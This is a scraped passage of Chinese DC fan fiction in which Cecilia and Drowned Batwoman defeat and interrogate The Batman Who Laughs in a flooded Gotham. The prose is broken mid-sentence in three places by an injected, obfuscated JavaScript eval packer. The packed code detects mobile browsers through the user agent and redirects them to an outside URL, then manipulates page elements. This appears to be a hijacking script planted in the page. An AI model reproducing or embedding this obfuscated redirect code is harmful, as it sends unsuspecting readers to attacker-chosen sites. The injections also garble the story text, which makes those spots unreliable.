《寡妇收集器[综英美]》 3. 交锋 这个声音里,含杂着人类最黑暗、最癫狂、最混沌而不可名状的一切感情。 塞西莉亚只是听到这个声音,甚至还没等她被剧烈的疼痛折磨得已经迟钝了的头脑,缓慢地理解出这人所说的话语的意思,便被蕴藏其中的恶意骇得一激灵,反手便从腰间抽出匕首,狠狠向后刺去! 塞西莉亚的一身好本领,全都自名师处习得。 她的魔法,是地球上众神与魔法的起源、女巫之神赫卡忒亲授;她的聪慧头脑与随机应变的处事能力,得益于蝙蝠女侠十年如一日的谆谆教导;她的体术,不仅有蝙蝠女侠手把手的纠正与传授,更在哥谭经年累月打击犯罪活动的义警生涯中,锤炼得炉火纯青。 于是这一击之下,便能彻裂深海,劈分烈火,搅动风云。 ——本该这样的。 ——本该不会落空的。 但塞西莉亚的匕首不仅没能落到实处、刺中人,甚至还被突然出现在身后的那人给稳稳接住了,轻车熟路得,就好像他们曾对招过、演练过无数遍一样,才能有今日如此熟练的应对。 他钳住塞西莉亚的手,借着水的浮力,轻轻松松就把塞西莉亚从地上提了起来,再一用力,便顺着正在失控的漩涡的方向,把她拉了出来,顷刻间便顺水流远遁去百米之远。 他的动作是那么漫不经心,半点不见发力的痕迹,就好像他提起来的,不是一个大活人,而是从菜园子里随便拔了颗萝卜出来似的。 但他如果真的对塞西莉亚半点不上心,又何必冒着自己也会被卷入这失控的漩涡、被碾做血肉模糊的一团的风险,去救塞西莉亚呢? 可他施以援手的态度也太随便了,随便到了近乎漠视的地步。 毕竟这个漩涡不是普通的漩涡,里面蕴藏的,除去咆哮奔涌的水流的力量之外,更有着能够击碎星辰的魔法的力量,不能用普通的“把人从漩涡里带走就不会被卷进去”的方式施以救援。否则运气不好的人,早就在被带出来的过程中,被乱流剔去浑身血肉,只余一具白骨架子了。 但他就这样随手把塞西莉亚从中带了出来,就好像他出于某些原因——不管是善意的还是恶意的,虽说按照此人的态度来看,应是恶意的居多——不愿意看到塞西莉亚的死,却又十分乐于见得她死在自己手上。 这是何等截然相反的态度,显得这个人,完全就是个疯子一样。 既然是个疯子,那么他能大笑着说出这番话,也就半点不奇怪了: “真有意思……真有意思!你可太有趣了,小姑娘,我为什么从来没在任何一个黑暗世界里见过你?” 可惜塞西莉亚已经听不清他在说什么了,因为最后一道魔法已然在她的指尖凝聚。 痛啊,太痛了。宛如有千万把利刃在她的肚子里来回搅动似的,灼热的刺痛感自心脏发出,一路辐射过五脏六腑,连呼吸都扯动着腹腔剧痛。 太阳穴突突跳动,冷汗浸透了后背。在这种常人难以忍受的疼痛下,她的耳边已然听不清半点声音,唯有自己被疼痛逼迫得近乎沸腾的血液,在血管里咆哮的奔流跳动声还算清晰。 但她手上的动作分毫未停,只因天堂岛的亚马逊战士们曾教导过她,你就算是死,也要昂首挺胸、堂堂正正,战死在战场上! 因此,哪怕塞西莉亚的力量,是调动自然元素供她所用,而现在的哥谭怨气冲天、骸骨遍地,甚至都不适合她生存,就更别说施展魔法了,但塞西莉亚作为战士的本能,依然促使着她凝聚出了一道殷红如血的光芒,向着身后还在高声大笑的人直直击去! 这道光芒里蕴藏的力量极为暴烈。 明明哥谭眼下已然是一座水下之城,每个角落里都满盈着浸泡过尸首的、阴冷的水,但这道光芒的温度过于灼人,眨眼间便将周围的水分大量汽化、蒸发,在陡然腾起的满眼白雾中,硬生生在水下,劈开了一条带有空气的路,连带着将这方圆百米间的黯淡,都一扫而空。 这毫无生机的死之城,在这一刻,以塞西莉亚和她手中爆发出的光芒为中心,竟短暂地爆发出了极为灼目的光芒,耀眼如白昼,如大洪水之前的哥谭,满载着它灯火辉煌的夜晚重临。 ——可这也只不过是一瞬的光景罢了。 来人游刃有余一偏头,便避开了这道光芒,甚至未被这道光芒带来的高温灼伤半根发丝。 红光擦着来人的侧脸直直飞出,撞上了他们身后的大楼。 然而这座大楼并没有像之前的那栋被炸毁的同类一样,轰然倒塌,而是轻微地颤动了两三下后,便以那道闪烁的光芒为中心,旋转着扭曲着,从原地凭空消失了,只余下原地一片突兀的空白和疯狂激荡的海水,能够证明数秒钟之前,这里还存在着一幢庞然大物。 这是何等骇人的威能,何等超凡的力量! 若是真的被击中了,哪怕是神灵,也要元气大伤吧?即便是身体素质超凡的超能力者,只怕也要当场濒死、或者干脆就一命呜呼了吧? 很显然,来者也被这道魔法的威力惊到了。 他的确只预料到了,以塞西莉亚眼下近乎半死不活的身体状况,不可能击中他;但如此超规格的、几乎可以用“恐怖”二字形容的力量,可绝对不在他的预计之内。 因为恰如他所说的那样,他从未在任何一个黑暗的世界里,见过名为塞西莉亚·韦恩的存在,自然也无法想象,一个人类,一个纯种的、普通的、百分百的人类,能够比肩神灵! 他难以置信地把脖子扭转了一百八十度倒过去,看了看那幢半点声音都没有发出,就像剪切粘贴图画一样,被轻轻松松抹去了的大楼,又把脖子转了回来,惊疑不定地凝视着面前黑发绿眸的女子,连说话的口气,都有那么一瞬间,失却了他自从中了小丑毒素后,便宛如刻在血脉里一样的嬉笑人间与玩世不恭: “……塞西莉亚,你到底是什么人?” 塞西莉亚跌跌撞撞后退数步,险之又险地靠在了一堆嶙峋的、爬满了绿绿红红的藻类的乱石上,这才让自己不至于因为虚脱和疼痛而瘫倒在地。 然而,也正是借着那道光芒的余韵,塞西莉亚终于得以在彻骨的疼痛与冰寒中,看清了来者的面容。 或者说,也不能算是“看清面容”,只能算是“辨认身份”。 因为来者的制服样式,和溺亡怨魂的明显同出一辙,都是蝙蝠形状的头套遮住了上半张脸,都是以黑色为主的战衣。 在这样的遮蔽之下,除了下半张脸之外,半点多余的真容都看不到。 如果硬要说有什么区别的话,那就是溺亡怨魂的制服,好歹还有一点绿色的裙摆作为聊胜于无的点缀,但来者的身上,却是一套僵硬死板的黑色拘束服;溺亡怨魂因为人体改造而失去了自己的左眼,于是便在面罩上,又额外加了一只电子义眼作为辅助,而来者则是用布满尖刺的护目镜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496211|170203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把自己心灵的两扇窗户给遮得严严实实。① 除此之外,溺亡怨魂的面色只有在水下的时候,才会被青绿色的波光给映衬成毫无生机的青灰色,事实上她还是个活人,只不过面色过分苍白了一点而已。除去这点不谈,曾经引发万人空巷的哥谭女王,哪怕眼下已变为非人的存在,也依然能称得上英丽,甚至还额外有一种黑暗与野蛮之美。 但来者的嘴却呈现不正常的、格外向上挑起的弧度,裂开得都能看见鲜红的牙龈与惨白细长的尖齿,乍一看上去,特别像是个通体漆黑,只有一张布满密密麻麻的牙齿的嘴的异形怪物,相当掉san。 可除去这点差别之外……除去这一点细枝末节的差别之外…… 塞西莉亚只觉自己浑身的血液都被冻住了。 她只觉五脏六腑都仿佛被一只无形的大手狠狠揪紧,在身体上的疼痛之外,这精神上的惊恐更让她如坠冰窟: 这分明就是第二个男性版本的布鲁茜·韦恩! 但布鲁茜·韦恩没有任何血亲存世,整个哥谭里,甚至都不该存有第三个活人,那么此人从何而来? 于是塞西莉亚半点不搭理他的话头,甚至还反问了回去:“你呢?你又是什么人?” 而来者与蝙蝠女侠关系匪浅的证据,可绝对不止制服和外貌上的相似,在行事风格上也格外一致: 缜密,冷酷,不为任何无关之物动摇。 因此,这位不速之客的震惊,只持续了很短的一瞬。 随即,他就像是没事人一样笑了起来,大步逼近塞西莉亚,随波摇曳的海草在他的脚下被大片大片踏平。 只要不是个聋子,就一定能从他高昂得甚至都带了点颤音的笑声里,辨认出他此刻过分亢奋的、欣喜若狂的心情: “算了算了,无所谓了!你是谁都不重要,小姑娘,因为死人一旦沉睡于泥土之中,就会被遗忘,即便有人深爱过你,那也仅限于此,再无更多福分可降临你身——”② 他掐住塞西莉亚的脖子,将她从地面上提了起来,高举向空中,放声大笑,笑得宛如刚刚捕猎成功的郊狼,噙着满口的血肉对月长啸,似乎连这疯狂的笑声里,都浸透着满满的血气,因着他的过往皆以鲜血书写而成: “小塞西,你的魔法的准头可不怎么好啊。” “看看,看看,你现在多么可怜!不能走路了,眼睛也不好用了。哎呀,这是什么小美人鱼和快乐王子的故事吗?” “可是在黑暗的世界里,谁会相信童话呢?王子和公主的故事早过时一百个世纪了。” “你就抱着这些令人作呕的光明和美好,死在这里吧!” 这一次,他伸出的手却不再能将塞西莉亚从死亡中拯救出来,而是要扼杀她、毁灭她,让这个黑暗世界里的变数与星火被自己亲手泯灭: 天哪!世上难道还有比这更让人开怀的事情吗? 水下之城实在太昏暗了。来自海面上的阳光投射到海底的时候,便唯余一点微弱的、零星的痕迹,甚至不能照亮塞西莉亚如海藻和流云般散开的长发,更不能照见她的面容。 因此,这浑身漆黑的不速之客自然也看不到,即便被人扼住了脖颈,塞西莉亚的神情依然冷定如冰雪,连带着她气若游丝的话语里,都带着一种天然的蔑视,而这种浑然天成的轻蔑对人的刺痛,甚至要远胜过来者的癫狂数百万倍: “我怜悯你。” 4. 默契无间 如果塞西莉亚选择痛哭、哀求、怒骂……总之,只要她做出任何“正常人的反应”,已经脱离了正常人范畴的狂笑之蝠,都只会觉得索然无味、不过如此,然后直接一刀切断她的动脉,让塞西莉亚的鲜血在铺天盖地的海水里,开一朵水玫瑰。 但塞西莉亚的反应太平静了,平静到了异常的地步。 而很不巧,-22号地球的蝙蝠侠,在被小丑毒素重度感染后,不仅不是个正常人了,甚至还是个百分百的乐子人。 只不过他寻的乐子,是更为残酷的乐子。 他乐于看到原本正义立场的人,被他腐化、毒害、拉入黑暗面;更乐于看到,前赴后继来营救“被害者”的援军,在希望过后陷入绝望,最后也落得跟他们一样的下场。 但要论起真正的快乐……要说现在的狂笑之蝠最喜欢、最热衷的事情,莫过于亲手扼杀黑暗世界里仅有的希望,把一个又一个世界引向终焉,杀死曾经的队友最重视的人后再表露自己的身份,因为只要看着他们绝望的、难以置信的、痛苦的眼神,狂笑之蝠就会由衷地感到幸福。 总之,现在的狂笑之蝠,已经完全失却了蝙蝠侠坚持的正义立场和不杀原则,取而代之的,是和小丑如出一辙的毁灭、混乱和癫狂。 可想而知,当塞西莉亚竟半点不求饶也不挣扎,甚至还能用近乎垂怜的角度,轻蔑地半阖着眼看向他的时候,狂笑之蝠反而愿意暂停杀死她的动作,转而和她交谈起来,也就很说得通了。 因为他能感受到,这位名叫“塞西莉亚·韦恩”的女子,不是在为了活命而虚张声势,而是真的、发自内心地怜悯他。 于是这位混沌邪恶乐子人,立刻把一切不安因素都抛到了脑后。 这一刻,在狂笑之蝠的大脑里,小丑毒素带来的癫狂,压过了蝙蝠侠苦修多年磨练出来的冷静谨慎,占据了绝对上风。 他忘记了,在这座水下之城里,还有代号为“溺亡怨魂”的另一位蝙蝠侠,也忘记了塞西莉亚的魔法何等可怖。 为了让塞西莉亚能够发出声音来,和自己交谈,狂笑之蝠甚至放松了压在塞西莉亚动脉上的刀刃与指甲。随着他的动作,一缕鲜红从塞西莉亚的颈侧逸散出来,飞速便在海水的冲刷下,淡得近乎于无,最终消融在一望无垠的洪水中了。 狂笑之蝠死死地盯着塞西莉亚——更正,是狂笑之蝠用他的护目镜遮住的、应该是眼睛的位置,对准了塞西莉亚,说真的,正常人不仅很难揣摩一个疯子的心灵,甚至连这个疯子的心灵之窗都找不到在哪里——饶有兴味地开口道: “塞西,塞西,你好好看看我,别看错啦。” 他分明才和塞西莉亚见了一面,却已经亲昵地叫上了塞西莉亚的昵称。就好像塞西莉亚跟随了数十年之久的,不是蝙蝠女侠、溺亡怨魂、布鲁茜·韦恩,而是他蝙蝠侠、狂笑之蝠、布鲁斯·韦恩一样: “我杀死了我的罗宾们,把我的儿子、我的管家也转换成了和我一样的存在,让他们永远都可以快乐下去,再也不用痛苦。我屠杀了我的战友,我毁灭了我的世界,或直接或间接死在我手上的普通人成千上万,数不胜数。” “对我而言,你们的世界,简直就像纸一样脆弱。如果我想要杀死你,甚至不需要一秒钟的功夫;我想要毁灭这里,也轻而易举。” 说话间,狂笑之蝠的手再度缓缓扼紧。 因为他认为,塞西莉亚刚刚能说出那番话,只不过是一个良心未泯的人在黑暗世界里苦苦挣扎的时候,对不明立场、疑似有苦衷的人下意识展露出来的,多余又无聊的善意而已。 毕竟这套戏码,狂笑之蝠已经在无数个世界里,见识过无数遍了: 反派都是有苦衷的,都是可以洗白的;哪怕不能洗白,也可以维持亦正亦邪的立场,和主角有来有往地追逐、争斗、合作。正义人士就算短暂地误入歧途,只要找到了关键点,也可以弃暗投明,上演一出“浪子回头金不换”的好戏。 如果说前者的经典人选是小丑,那么后者的代言人就一定是蝙蝠侠。 既然如此,那么这个塞西莉亚·韦恩,一定也是觉得“他是蝙蝠侠,是正义的化身,他不会真的坠入黑暗,所以他一定有苦衷,我可以拯救他”,才这么说的吧?啊,好无趣,无趣得让人想要毁灭世界,顺便在毁灭世界之前,先把这种自以为是的人大卸八块! 于是他又笑嘻嘻地问了一遍,甚至还把塞西莉亚往下拖了一点,想要看清她“终于发现面前的人无法被拯救而露出的绝望神情”: “小塞西,你明白吗?你听懂了吗?那么,你还能怜悯我吗——” 狂笑之蝠的这番话没能说完。 因为紧随其后而来的,是同时亮起的两道光芒,是一前一后的夹击: 来自他前方的攻击,是发自塞西莉亚掌心的金色光辉;来自他后方的攻击,是溺亡怨魂召来的怒涛狂潮。 一道自天堂岛而来、在无数个不论是光明还是黑暗的宇宙里都赫赫有名的力量,正在塞西莉亚掌心飞速凝聚成型。 在别的世界里,它为神奇女侠所用;在这个神奇女侠早早战死的世界里,它经由女巫之神赫卡忒之手,传给她最心爱的学生。 但不管身在何处,它的伟力始终如一,它的名字永恒不变: 这是“真言套索”。 被它套住的人无法挣脱,更无法说谎,盖因这套索出自火神赫淮斯托斯之手,以大地女神盖亚的金腰带为材料铸造而成,由狩猎女神阿尔忒弥斯亲自将其绑在神箭上,从奥林匹斯神山上射下凡间,将这众神的杰作与祝福,赠给天堂岛的公主,神奇女侠戴安娜·普林斯使用。① 与此同时,一道黑色的身影疾如利剑,逆水分波而来。 溺亡怨魂的电子义眼中,闪动着愤怒的红芒。她手握三叉戟号令七海,紫黑色的水流铺天盖地吞噬一切,伴随着溺亡怨魂的怒吼,咆哮着、翻涌着,携所有溺亡者的绝望与不甘,以格外不祥的姿态疯狂袭来: “放开塞西莉亚!” 狂笑之蝠本来能躲开的,就像他一开始,真的成功避开了塞西莉亚下意识的攻击那样。 因为他们都是蝙蝠侠,溺亡怨魂与狂笑之蝠互为同位体,那么,他们教导出来的继承者与后来人,也自然都是同一套架势。 他熟悉所有的罗宾,她熟悉她的塞西莉亚,都是一样的道理,宛如熟悉自己的肉中肉、骨中骨,怎么会有人认不出小号的自己? 但狂笑之蝠已经太久、太久,没有和心意相通的队友一起并肩作战过了。 就像狂笑之蝠自述的那样,他的家人、他的队友、他的接班者,基本上已经被他自己杀了个干干净净;便是没有死亡的,也被他转化成了和他一样的存在。 因此,直到被溺亡怨魂的水流狠狠击中,绞碎心脏,撕裂腹腔,狂笑之蝠才后知后觉地认识到了一件,以“蝙蝠侠”的智慧早该认识到的,但以“狂笑之蝠”的身份,却已忽略了太久的事情: 那道绯红色的光芒,的确是塞西莉亚能发出的最后一击;而在这一击之后,她也的确再无余力使用魔法了。 ——但这一击,从头到尾,根本就没有专心瞄准他,而是抱着“打中什么算什么,要是能打中不速之客就算血赚”的心态,信手发出去的。 ——因为这一发的目的,根本就不是“击中”,而是“传信示警”! 以此来看,塞西莉亚的准头哪里是不好,简直是太好。 她差点打中了一级目标狂笑之蝠本人,在他把这一击闪避了过去后,又佯作失控,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496212|170203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利打中了方圆数百米内,最显眼的、体积最大的东西,作为二级目标,在狂笑之蝠自以为调虎离山之计成功的时候,引起了溺亡怨魂的警觉,把人给唤回来了。 最关键的是,她还利用了狂笑之蝠的乐子人心理,让他只顾着探寻塞西莉亚的答案,而忽视了溺亡怨魂的存在。 在意识到“以折磨别人为乐的心理,竟然被反过来利用了”的那一刻,那个似乎刻在血肉上的笑容,终于从狂笑之蝠的脸上消失了一瞬。 他面无表情地望向塞西莉亚。 就好像在这一秒里,那个永远聪慧、冷静、克制而谨慎的蝙蝠侠,那个不管在什么世界里,都能以凡人之躯与无数非人类抗衡、守护世界的伟大存在,又回来了。 但也只是这一秒而已。 下一秒,从狂笑之蝠胸口喷涌而出的鲜血,便完成了他刚刚没能完成的愿望,开出了好大一簇的水玫瑰。 溺亡怨魂的三叉戟已经穿透了狂笑之蝠的胸腹,将他死死钉在塞西莉亚刚刚靠过的巨石上,恰如当年,这把曾经属于海女王的武器,被体术过人的蝙蝠女侠抢夺过来,一把穿透它曾经的主人的胸膛那样。 彼时彼刻,恰如此情此景。 塞西莉亚只要不在哥谭强行使用魔法,她的身体状况就不会太糟糕。 更罔论眼下,她又见到了刚刚毫不犹豫离她而去的溺亡怨魂。 在见到溺亡怨魂的那一刻,塞西莉亚内心若有若无的、“我会被抛在原地”的恐慌感,瞬间就平复了,促使着她能够与常人无异般,与她的主君、她的导师一同并肩作战,比什么灵丹妙药都管用。 于是,哪怕她的面色依然苍白,自五脏六腑传来的刻骨痛楚还没有尽数平复,但塞西莉亚已经能行动自如了。 她收紧手中的真言套索,在骨骼与血肉被挤得嘎吱嘎吱作响的动静里,在璀璨金芒的映射下,垂眼望向狂笑之蝠,轻轻道: “看看,看看,多么可怜的丧家之犬啊。” 她几乎一比一地复刻了狂笑之蝠之前的句式,而世界上再也没有任何一种方式,比“在自以为稳操胜券结果被反杀了的人面前,重复他刚刚放出来的狠话”,更辱人至深: “韦恩先生,你是不是已经没有同伴很多年了?” 溺亡怨魂一脚蹬上狂笑之蝠的肩膀——塞西莉亚对天发誓,啊不,对海水发誓,她听到了至少三块骨头被这一脚跺碎的声音——冷冷瞥了塞西莉亚一眼,语气平静得难辨喜怒: “塞西莉亚,你还有闲心同情这种人?” 塞西莉亚立刻抗议:“我没有,布鲁茜,我才不会同情无关人士的命运,我只是怜悯他命中注定的失败而已。” 她说话说得太急,肺腑处又太痛,不得不轻轻吸了口气,甚至按了一下溺亡怨魂的胳膊借力,才能把这番话说完: “因为他是一个人来的哥谭,但我和你却是一起的。” “你看,布鲁茜,他怎么可能战胜我们?” 她在触碰溺亡怨魂的时候,动作轻得仿佛夜风掠过蔷薇花瓣,但溺亡冤魂的小臂肌肉却有那么一瞬,为此隆起得更明显,线条也更分明了。 就好像野猫在被顺毛的时候,哪怕明知对面毫无恶意,也会下意识地为这亲昵的、温柔的举止,炸开浑身的毛发,把自己变成一只猫毛掸子一样。 结果还没等溺亡怨魂说什么,就听见一句平淡得毫无起伏的话从面前传来。 身受重伤的狂笑之蝠同样面无表情地回望着两人。 很难说是他身上受到的伤太重,使得他再不能做出狂笑的姿态,还是他看到的这幅堪称默契无间、温情脉脉的画面,让他打心里觉得恶心,一点多余的表情都不想给这两人: “……劳驾,两位。我要吐了。” 5.真名 很显然,溺亡怨魂不太想搭理另一个自己。 毕竟不管哪个宇宙的蝙蝠侠,都是聪明人;而只要是聪明人,就完全可以从只言片语里,甚至从惊鸿一瞥之下,推断出对方的身份,乃至这个世界当下的局势。 而现在的情况对溺亡怨魂她们来说,尤为不利: 根据狂笑之蝠的自述,他已经去过很多个世界,也毁灭过很多个世界,他手中掌握的信息,定然要远胜过溺亡怨魂她们,可谓占尽先机。 对现在的溺亡怨魂一方来说,再也没有比“多说多错,少说少错”这句话,更符合眼下境况的了。 问题是,她们又不能真的什么都不说、不问。 否则的话,这跟把头埋进沙子里就可以装作什么事都没有的鸵鸟,有什么区别?难不成就真的要保持这种信息不对等的状态么?对极具掌控欲、恨不得世界上所有的事情都在自己预料之中的溺亡怨魂来说,这简直比要了她的命还可怕! 于是,在这一片令人窒息的沉默中,塞西莉亚便代替溺亡怨魂发声询问了。 她早已习惯如此。 当年,蝙蝠女侠忙于打击犯罪活动,分身乏术,无暇处理她作为布鲁茜·韦恩时,要负责的公司事务,就由她亲自选定的继承人塞西莉亚·韦恩代为出席股东大会、参与相关会议。 后来,蝙蝠女侠逐渐认识到,这个世界上还有很多超能力者。这些家伙只要动动手指,就能把普通人的生活搞得天翻地覆,仅靠她一人的力量无法保护世界。 但蝙蝠女侠又不能轻易离开哥谭。毕竟按照哥谭的混乱程度,她只要一天不镇守在这里,甚至都不用超能力者出手,罪犯们的狂欢就能先把哥谭给掀个底儿朝天。于是便由塞西莉亚作为“蝙蝠女侠的代行者”,离开哥谭,前往世界各地联络有志守护世界的超能力者,试图组建团队。 她为蝙蝠女侠做过那么多事,而不管是蝙蝠女侠和溺亡怨魂,都对此毫无异议。于是眼下,当塞西莉亚发问,而不是溺亡怨魂开口逼供的时候,这两人竟谁都没觉得不对劲: “外来者,告诉我你的身份与真名!” 她们没觉得这种合作方式有不对劲的地方,并不意味着狂笑之蝠不这么觉得。 狂笑之蝠觉得自己的眼都要瞎了。 他难以置信地看了看塞西莉亚,又看了看溺亡怨魂,因为他抓破脑袋都想不明白,这一幕到底是怎么产生的: 没有人比他自己更清楚,蝙蝠侠的疑心有多重。 他们的疑心简直就跟——对不起但是没素质的狂笑之蝠现在真的很想讲个关于自己的地狱笑话——“所有的蝙蝠侠都一定会死爹死妈变成孤儿”一样,作为出厂设定写进DNA里。 哪怕是并肩作战数年之久的、可以托付后背的、有着过命交情的战友,蝙蝠侠也会针对他们做好反制预案,提防他们失控和背叛。他甚至还会往战友的装备里放追踪器和监听设备,把摄像头布满整个哥谭…… 对这样一个恨不得把全世界所有的情报都掌握在自己手里的人,竟然会把“询问的权力”,拱手让出? 是这个蝙蝠女侠疯了,还是这个世界疯了?! 狂笑之蝠的心中有一百万个疑问,却一个也问不出口,因为真言套索的力量已然压过了一切,从他口中掏出了塞西莉亚虽早有猜测、却迟迟不敢确认的真相: “……我是布鲁斯·韦恩。” “在被小丑的毒素同化至疯狂之前,我的代号曾是‘蝙蝠侠’,和你身边的这位女士,互为不同宇宙里的同位体。” 塞西莉亚又追问道:“你的来意?” 在真言套索的伟力下,狂笑之蝠可以说是有问必答、所答必真: “我要将所有黑暗宇宙的蝙蝠侠聚集起来,组建军队,进攻主世界。” “为此,我必须带走你的布鲁茜·韦恩,因为她也是我们的一部分,我们需要她的力量。” 塞西莉亚沉默了三秒钟后,以一种“当我问yes or no的时候我的上司果断回答了or是不是脑子有病”的语气,对狂笑之蝠进行了亲切慰问: “你是不是脑子坏掉了……哦对,好像的确坏掉了。” 溺亡怨魂轻轻从鼻子里喷出一点气息,很难说她这是被塞西莉亚的地狱笑话给逗笑了,还是在嘲讽狂笑之蝠的痴心妄想: “我也是你们的一部分?” 她的声音十分冷静,哪怕眼下,诉说着曾经孤立无援的困境的时候,也听不出半点软弱: “我的未婚夫死去的时候,你们没有来照看我;亚特兰蒂斯大举进攻陆地的时候,你们也没有来帮助我。在海女王死在我手中、亚特兰蒂斯决定死战到底之时,人人都在指责我挑起了这场世界大战,除了塞西莉亚,没有人相信我说的‘亚特兰蒂斯蓄谋已久’。” “眼下尘埃落定,整个世界都在我的掌控之中,你们却姗姗来迟,说需要我的力量?” 很明显,双方没能谈拢。 不仅没能谈拢,溺亡怨魂甚至还准备斩草除根。 她对塞西莉亚简短地嘱咐了一句,“闭上眼”,随即毫不犹豫地从战败者的胸口拔出三叉戟,高高擎起,对着狂笑之蝠的头颅正中刺下。 只要这一击落实,不管是狂笑之蝠还是随什么便别的超能力者,只要是肉/体凡胎,只要是有血有肉的生物,就都得脑壳迸裂、魂飞魄散! ——但这一击没能落到实处。 因为就在这千钧一发的生死关头,狂笑之蝠终于抛出了他最后的、最有说服力的诱饵: “你就不想知道,为什么你所有拯救世界的努力都徒劳无功吗,布鲁茜·韦恩!!!” 伴随着最后一个单词的余音消失在水中,溺亡怨魂的动作险之又险地停了下来。 此时,闪烁着锋锐寒芒的三叉戟尖端,已经刺破了狂笑之蝠的护目镜,离他的眼球仅仅不到半毫米。但凡这人晚说半个字,他的眼球就得像多汁的葡萄一样爆开。 狂笑之蝠从未如此近距离地与死神擦肩而过。 他死死地盯着面前的溺亡怨魂,终于后知后觉地意识到,自己的这个同位体、这个世界里的蝙蝠女侠,可没有之前的那些黑暗宇宙里的男人好说服: 因为她是女人。 在许多人的观念里,这个性别天生就不该站在高位,更不该手握大权。 所以,她在作为“布鲁茜·韦恩”的时候,要直面的来自哥谭黑暗面的恶意,绝对要比其他世界里的男性布鲁斯·韦恩更多;她在作为“蝙蝠女侠”拯救世界的时候,遭受的质疑与反对,比起其他世界里的男性蝙蝠侠来说,更是只多不少。 但她还是好好地站在了这里,甚至把整个世界都握在了手中,而且根据狂笑之蝠潜伏期间的所见所闻来看,她的统治几乎是所有黑暗宇宙里,最威权却也最稳定的: 证据就是,在别的世界里,再怎么落魄,都姑且还能“存在”的亚特兰蒂斯,在这个世界里,竟然半点残部都见不到了。 一个从650万年前就存在的古老国度,一个科技水平领先陆地少说一个世纪的先进国家,一个有着数千万人口的中型国家,在这个世界里,在溺亡怨魂的统治之下,竟被剿灭得半点影子也无。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532035|170203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这说明什么? 说明比起其余的蝙蝠侠来说,这一位的心肠只会更冷、手段只会更酷烈、想法只会更残暴、那该死的掌控欲更是只会愈发严重: 想要从更低的地方走到更高的地方,就要比平常人流更多的血与泪;只有更极端的□□,才能击溃普通的□□! 因此,狂笑之蝠那套“我们一起进攻主世界”“我们需要你”的说法,半点不能煽动溺亡怨魂: 不管她对这个世界多绝望,不管她现在多孤独、多疲倦,她都不会轻易为三言两语动摇,因为她已经作为女性,见识和体验过更黑暗、更不公、更尔虞我诈的痛苦。 如果不能拿出强有力的证据来说服溺亡怨魂,搞不好等狂笑之蝠把舌头都说断了,也得不到任何回答,她这才是真的不见兔子不撒鹰! 三叉戟依然抵在狂笑之蝠的眼前,甚至还在缓缓推进。 狂笑之蝠感受到了久违的刺痛。泪水,或者还有些别的什么液体,正从眼眶里汩汩涌出,温热的液体与冰冷的海水混杂在一起,只会让这种诡异的感觉愈发鲜明。 溺亡怨魂虽然一言未发,但她的意思已经从动作中展露无遗: 要说快说。否则就捅穿你的脑子。 这种“一言不合就把人脑子揍出来”的压迫感,放在以前的哥谭,足以让最穷凶极恶的罪犯屁滚尿流——小丑除外,他已经不是人了,是伪人是畜生——但这一刻,狂笑之蝠竟欣喜若狂地放声大笑了起来: 他确定了,他确定了!溺亡怨魂就是他要找的人,是他要组建的军队里最强的力量,是他无论如何都不能放弃的一枚棋子! 于是他挣扎着把身子向前探去,试图用肢体语言加强自己的说服力,结果却未能成功,因为真言套索的力道自始至终都未曾放松半点,那个清瘦的、安静的身影,依然跟随在溺亡怨魂的身边: 她除去遵循溺亡怨魂的吩咐,短暂地闭了一下眼睛之外,再没有把注意力从狂笑之蝠身上移开过哪怕一秒钟,更不曾离开溺亡怨魂半步。 宛如一捧白雪,安静地覆盖在了钢铁上。沉默,执着,可靠,忠心耿耿。 在眼角余光扫过塞西莉亚的那一瞬,某个堪称恶毒的想法在狂笑之蝠的脑海里一闪而过。 但狂笑之蝠眼下却来不及落实这个天才主意,因为他要想保住自己的小命,就必须优先回答自己之前给出的问题: “因为这就是黑暗世界的命运。” 他死死地盯着面前的两人,一边流血一边狂笑,声音嘶哑如渡鸦啼鸣: “我们的宇宙分为两面,黑暗的和光明的。” “在光明的世界里,所有事情的走向都会更乐观、更完满;相对的,在黑暗的世界里,不管你怎么努力,也只会得到最悲观、最残缺的结果。” “因为在我们的黑暗世界里,名为‘命运’的东西,从一开始就不会让你成功。所有的结果从一开始就早已被定下,且不会以任何人的意志和努力为转移。” “你努力一千遍,就会失败一千遍;你怀抱百分之百的希望,就会有同等分量的绝望回馈。” “看着我的眼睛回答我——回答我,布鲁茜·韦恩!在知道了这样的真相后,你还能毫无芥蒂地留在这个,从未优待过你的世界吗?!” 溺亡怨魂慢条斯理地把三叉戟又往里捅了捅,随即进行了一些颇有塞西莉亚风格的地狱冷笑话式发言: “不能。因为我看不到你的眼睛。” 